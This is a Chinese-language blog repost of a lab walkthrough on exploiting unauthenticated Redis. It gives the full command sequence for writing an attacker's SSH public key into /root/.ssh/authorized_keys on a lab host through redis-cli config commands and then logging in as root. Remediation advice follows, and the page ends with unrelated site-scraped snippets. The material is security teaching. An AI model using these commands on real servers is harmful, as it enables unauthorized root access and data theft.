Redis 未授权访问漏洞

2023-11-01

转自:https://www.ichunqiu.com/vm/59321/1
实验需了解:
Redis是一个高性能的key-value数据库
Redis暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且在没有开启相关认证和添加相关安全策略的情况下可以导致任意用户在访问目标服务器时未授权访问Redis以及读取Redis的数据。利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。Redis作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。

实验环境
操作机:Kali-Linux

目标服务器:172.16.12.2

实验目的

熟悉Redis未授权访问漏洞的原理及其利用方法
Redis未授权访问配合SSH key的综合利用

实验工具

**Kali:**Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。

Redis:**Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的**API

实验内容
Redis 未授权访问

Redis 默认情况下会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

Redis未授权访问配合SSH key的综合利用

攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

修复建议

1、配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379

2、配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中

3、配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度

4、好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config等。

了解原理:
部分 Redis默认绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器
未授权访问—>写入ssh公钥–>变更Redis DB文件及存放地点

操作流程:(重点)

top one:在本地生产公私钥文件

打开kali在终端输入命令:

ssh-keygen -t rsa
在本地生产公私钥文件

之后会提示输入密码,输入密码并确认

top two:将公钥写入foo.txt文件

执行命令:

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
将echo的两条命令写入tmp目录下的foo.txt文件中

执行上述命令后,会在tmp目录下面生成一个foo.txt的文件,里面包含着我们所需要的公钥。

top three:连接Redis写入文件

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
首先执行命令:

cat /tmp/foo.txt | redis-cli -h 172.16.12.2 -p 6379 -x set crackit
-h后面跟的是目标机器的ip地址,-p后面跟的是redis绑定的端口号
设置一个地址名crackit指向/tmp/foo.txt

接下来执行命令,去连接目标主机

redis-cli -h 172.16.12.2-p 6379
-h后面跟的是目标机器的ip地址,-p后面跟的是redis绑定的端口号。

连接成功之后,我们依次执行以下四条命令:

config set dir /root/.ssh/

config get dir

config set dbfilename "authorized_keys"

save

exit

top four:通过SSH登录目标主机

ssh root@172.16.12.2 -p 22  -i  ~/.ssh/id_rsa

来查看一下ip地址,确认登录成功。最后输入以下命令查看是否连接上服务器的IP地址:

ip address show

实验图解:
这里写图片描述

这里写图片描述

这里写图片描述
图中显示服务器的IP地址为:
172.16.12.2
实验结果分析与总结

Redis未授权访问可能造成的危害

数据库数据泄露

Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行,危害同其他服务器端的代码执行。

敏感信息泄露

通过 Redis 的 INFO 命令,可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Redis 未授权访问漏洞 的相关文章

  • 无线dhcp服务器静态,wifi的ip设置dhcp和静态的区别

    大家好 我是时间财富网智能客服时间君 上述问题将由我为大家进行解答 以网络为例 wifi的ip设置dhcp和静态的区别如下 1 静态IP地址 又称固定IP地址 是长期分配给一台计算机或网络设备使用的 IP 地址 一般来说 一般是特殊的服务器

随机推荐

  • MySQL经典入门

    MySQL数据库相关知识 数据库的基本概念 数据库的英文单词 DataBase 简称 DB 什么是数据库 用于存储和管理数据的仓库 数据库的特点 持久化存储数据的 其实数据库就是一个文件管理系统 方便存储和管理数据 使用了统一的方式操作数据
  • C++:vector中的resize()函数 VS reserve()函数

    写代码的时候无意错用了这两个函数 导致测试的时候 程序运行崩溃 发现这两个函数还是有区别的 void reserve size type n reserver函数用来给vector预分配存储区大小 即capacity的值 但是没有给这段内存
  • 三款开源工具让你的演示脱颖而出

    本文转载至 http blog callmewhy com 2014 07 02 three open source tools to make your presentations pop 不论是在商业圈还是在学术界 演示都是生活中不可或
  • 共享内存 设计原理-shm

    POSIX的shm open 在 dev shm 下打开一个文件 用mmap 映射到进程自己的内存地址 System V的shmget 得到一个共享内存对象的id 用shmat 映射到进程自己的内存地址 目前这里主要看 System V的设
  • VS无法打开 源 文件 "xxx.h" 问题

    项目属性 gt 配置属性 gt C C gt 常规 gt 附加包含目录 gt ProjectDir 即可
  • Qt QFrame

    QFrame类是带有边框部件的基类 lineWidth调整边框边界线的宽度 midLineWidth是在边框中插入一条线的宽度 用于营造3D效果 此效果只有在Box HlineVline凸起或者凹陷时有效 QFrame NoFrame 不绘
  • 【手拉手 带你准备电赛】解答小课堂——为什么要使能时钟

    大家在代码编写过程中也发现了 当我们涉及到外设时 总是需要使能其对应的时钟 那么为什么要使能时钟呢 直接用不是更简单 确实 直接使用IO 代码量可以小那么一丢丢 你可能会说 代码量算什么 这是老师少考我们一个考点 是我们可能不挂科的问题 手
  • Java数组排序:Java sort()方法

    在 Java 中实现数组排序的方式很多 除了利用 Arrays 类的 sort 方法外 还可以编写自定义方法来实现自己的排序算法 本文介绍如何使用 Arrays 类提供的 sort 方法来对数组进行排序 使用 java util Array
  • 一款基于Latex语法和MathJax渲染的零基础公式编辑器,数学公式插件

    零基础即可编辑公式 支持自定义编辑器配置和风格 支持二次编辑公式 支持作为插件和富文本编辑器一起使用 介绍 基于Latex语法和MathJax渲染的公式编辑器插件 易用 可二次编辑 内容可视化 标题为什么会开发该插件 之前调研过很多开源的公
  • log4j2配置参数详解

    1 概述 JAVA常用的日志收集api和实现框架都有多种 不同的api和实现框架之间怎么相互兼容都比较复杂 不过大部分的日志框架实现也都提供了对其他日志收集方式的兼容和切换 可以参考slf4j jcl jul log4j1 log4j2 l
  • CentOS 8:Cannot prepare internal mirrorlist: No URLs in mirrorlist

    问题 在Centos 8上因为要安装mysql5 7 需要使用yum命令 但执行yum命令时报错 No URLs in mirrorlist 经查阅资料后发现 从2022年1月31日起 CentOS开发团队将会移除官方镜像源上关于CentO
  • Linq按日期年月日分组

    var body db tbl worklist AsQueryable WorkOrderHomePageResponse model new WorkOrderHomePageResponse DateTime startDate Da
  • element-UI表格table实现表格行的动态合并

    本文主要举个项目中真实实例 方便各位跟我一样在实际项目开发中碰到的需求功能的开发 可直接拿来使用的 饿了么table组件官方实例 http element cn eleme io zh CN component table 在实际开发过程中
  • IDEA导入Eclipse项目

    在学习编程中 经常需要导入其他项目 这些项目中通常包含由Eclipse编写的项目 对于经常使用IDEA开发而不熟悉Eclipse的程序员 往往是比较头疼的 所以将自己导入项目的经验总结出来 供大家学习参考 编译器版本 IntelliJ ID
  • HJ2 计算某字母出现次数(Java)

    假期在刷牛客网上的真题 此题源自华为机试题库 文章目的在于记录学习心得 如有错误欢迎指正 原题如下 描述 写出一个程序 接受一个由字母 数字和空格组成的字符串 和一个字母 然后输出输入字符串中该字母的出现次数 不区分大小写 字符串长度小于5
  • 6.830 / 6.814: Syllabus 2021 - MIT Lab 1 - SimpleDB

    文章目录 1 参考链接 2 SimpleDB Architecture and Implementation Guide 2 2Fields and Tuples 2 3Catalog 2 4BufferPool 2 5HeapFile a
  • 零基础如何快速入门学python?python全套学习路线总结

    前言 学习任何一门语言都是从入门 1年左右 通过不间断练习达到熟练水准 3到5年 少数人最终能精通语言 成为执牛耳者 他们是金字塔的最顶层 虽然万事开头难 但好的开始是成功的一半 今天这篇文章就来谈谈如何开始入门Python 只要方向对了
  • HTML +CSS制作QQ登录页面

    用a link color FF0000 未访问的链接 a visited color 00FF00 已访问的链接 a hover color FF00FF 鼠标移动到链接上 a active color 0000FF 超链接为了方便 一直
  • 免费Midjourney来袭

    发现一个镜像站 和之前发的镜像站不一样 这个集成了midjourney和chatgpt 且免翻 相信给很多很多用户都提供了便利吧 先把网站贴出来 有兴趣的伙伴可以玩一玩 关于以图生图 现在网站支持本地上传图片啦 非常方便 可以生成同种风格
  • Redis 未授权访问漏洞

    转自 https www ichunqiu com vm 59321 1 实验需了解 Redis是一个高性能的key value数据库 Redis暴露在公网 即绑定在0 0 0 0 6379 目标IP公网可访问 并且在没有开启相关认证和添加